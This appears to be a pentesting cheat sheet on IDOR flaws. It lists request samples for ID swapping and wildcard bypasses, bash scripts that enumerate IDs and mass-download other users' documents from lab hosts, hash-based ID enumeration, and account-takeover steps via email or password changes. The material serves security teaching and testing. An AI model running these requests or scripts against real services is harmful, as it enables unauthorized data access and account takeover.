If the server’s response includes sensitive identifiers like id, email, or phone_number in a structured format (e.g., JSON), these could be potential entry points for exploitation.
GET /example?id=124
GET /example?email=victim@example.com
GET /example?phone_number=0987654321
GET /api/resource/1
GET /user/account/find?user_id=15
POST /company/account/Microsoft/balance
POST /admin/pwreset/account/90
Try
GET /api/resource/3
GET /user/account/find?user_id=23
POST /company/account/Google/balance
POST /admin/pwreset/account/111
Double ID
Victim's ID: 5200
Attacker's ID: 5233
GET /api/users/5200/info → Access Denied
GET /api/users/5200,5233/info → Bypassed
Wildcard
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.
GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.
GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
Try plural form: users/* instead of user/*
UUID
Unpredictable UUID
Extract from Waybackmachine, virustotal, URLScan, etc.
Extract UUIDs from waybackurls
script.py
#!/usr/bin/env python3
import re
import sys
def uuid_grep():
uuid_regex = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')
for line in sys.stdin:
match = uuid_regex.search(line)
if match:
print(match.group(0))
if __name__ == "__main__":
uuid_grep()
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q $url/$link
done
done
Automation - POST request
#!/bin/bash
# Loop through UIDs from 1 to 10
for ((uid=1; uid<=10; uid++)); do
echo "UID $uid document links:"
curl -s -X POST http://94.237.53.169:45464/documents.php --data "uid=$uid" | awk -F "href='/documents/" '{for(i=2; i<=NF; i++){print $i}}' | awk -F "'" '{print $1}'
echo -e "\n" # Add a newline for clarity between responses
done
Tip: We are using the -n flag with echo, and the -w 0 flag with base64, to avoid adding newlines, in order to be able to calculate the md5 hash of the same value, without hashing newlines, as that would change the final md5 hash.
Mass Enumeration
$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
8b9af1f7f76daf0f02bd9c48c4a2e3d0
006d1236aee3f92b8322299796ba1989
b523ff8d1ced96cef9c86492e790c2fb
d477819d240e7d3dd9499ed8d23e7158
3e57e65a34ffcb2e93cb545d024f5bde
5d4aace023dc088767b4e08c79415dcd
#!/bin/bash
for i in {1..10}; do
for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
done
done
{
"uid": 1,
"uuid": "40f5888b67c748df7efba008e7c2f9d2",
"role": "employee",
"full_name": "Amy Lindon",
"email": "a_lindon@employees.htb",
"about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}
Try to change uid or role
Information Disclosure
Change id
Modifying Other Users' Details
Use id 2 and uuid diclosed to change user info via PUT request
One type of attack is modifying a user's email address and then requesting a password reset link, which will be sent to the email address we specified, thus allowing us to take control over their account. Another potential attack is placing an XSS payload in the 'about' field
Role in URL
DELETE /identity/api/v2/user/videos/778
Response: "This is an admin function try to access the admin API"
DELETE /identity/api/v2/admin/videos/778
Response: 200 OK
Parameter pollution
Depreciated API versions
JSON globbing
APIs that use static keywords
Second-order IDOR
Account Takeover
POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=500&password=heked123
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
Tools
Interesting Books
Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
Resources
=> MD5 - See to identify hash types
Credit:
Source:
Try
The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
